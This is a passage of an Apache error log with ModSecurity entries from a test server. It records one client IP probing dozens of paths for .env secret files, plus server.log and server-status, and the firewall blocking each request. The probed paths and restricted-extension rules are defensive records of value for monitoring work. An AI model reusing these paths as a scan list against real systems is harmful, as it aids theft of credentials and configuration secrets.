[Mon Jul 28 20:46:17.997040 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/scripts/fvt/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNdAAAAAQ&quot;]
[Mon Jul 28 20:46:17.997178 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/scripts/fvt/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNdAAAAAQ&quot;]
[Mon Jul 28 20:46:18.080789 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /secrets/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/secrets/.env&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNdwAAAAQ&quot;]
[Mon Jul 28 20:46:18.080996 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/secrets/.env&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNdwAAAAQ&quot;]
[Mon Jul 28 20:46:18.081168 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/secrets/.env&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNdwAAAAQ&quot;]
[Mon Jul 28 20:46:18.103470 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /selfish-darling-backend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/selfish-darling-backend/.env&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNeAAAAAQ&quot;]
[Mon Jul 28 20:46:18.103700 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/selfish-darling-backend/.env&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNeAAAAAQ&quot;]
[Mon Jul 28 20:46:18.103901 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/selfish-darling-backend/.env&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNeAAAAAQ&quot;]
[Mon Jul 28 20:46:18.149383 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /serve-browserbench/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/serve-browserbench/.env&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNegAAAAQ&quot;]
[Mon Jul 28 20:46:18.149614 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/serve-browserbench/.env&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNegAAAAQ&quot;]
[Mon Jul 28 20:46:18.149806 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/serve-browserbench/.env&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNegAAAAQ&quot;]
[Mon Jul 28 20:46:18.172173 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /serve_time_server/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Serve_time_server/.env&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNewAAAAQ&quot;]
[Mon Jul 28 20:46:18.172400 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Serve_time_server/.env&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNewAAAAQ&quot;]
[Mon Jul 28 20:46:18.172652 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Serve_time_server/.env&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNewAAAAQ&quot;]
[Mon Jul 28 20:46:18.194443 2025] [authz_core:error] [pid 1533990] [client 185.177.72.201:36212] AH01630: client denied by server configuration: /var/www/pms.test.indaco.store/www/server-status
[Mon Jul 28 20:46:18.217008 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server.log&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNfQAAAAQ&quot;]
[Mon Jul 28 20:46:18.217460 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server.log&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNfQAAAAQ&quot;]
[Mon Jul 28 20:46:18.217657 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server.log&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNfQAAAAQ&quot;]
[Mon Jul 28 20:46:18.239848 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /server/config/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/config/.env&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNfgAAAAQ&quot;]
[Mon Jul 28 20:46:18.240068 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/config/.env&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNfgAAAAQ&quot;]
[Mon Jul 28 20:46:18.240231 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/config/.env&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNfgAAAAQ&quot;]
[Mon Jul 28 20:46:18.262425 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /server/laravel/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/laravel/.env&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNfwAAAAQ&quot;]
[Mon Jul 28 20:46:18.262612 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/laravel/.env&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNfwAAAAQ&quot;]
[Mon Jul 28 20:46:18.262755 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/laravel/.env&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNfwAAAAQ&quot;]
[Mon Jul 28 20:46:18.308139 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /server/src/persistence/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/src/persistence/.env&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNgQAAAAQ&quot;]
[Mon Jul 28 20:46:18.308322 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/src/persistence/.env&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNgQAAAAQ&quot;]
[Mon Jul 28 20:46:18.308477 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/src/persistence/.env&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNgQAAAAQ&quot;]
[Mon Jul 28 20:46:18.330581 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /server_with_db/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Server_with_db/.env&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNggAAAAQ&quot;]
[Mon Jul 28 20:46:18.330781 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Server_with_db/.env&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNggAAAAQ&quot;]
[Mon Jul 28 20:46:18.330950 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Server_with_db/.env&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNggAAAAQ&quot;]
[Mon Jul 28 20:46:18.399040 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /service/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/service/.env&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNhQAAAAQ&quot;]
[Mon Jul 28 20:46:18.399217 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/service/.env&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNhQAAAAQ&quot;]
[Mon Jul 28 20:46:18.399370 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/service/.env&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNhQAAAAQ&quot;]
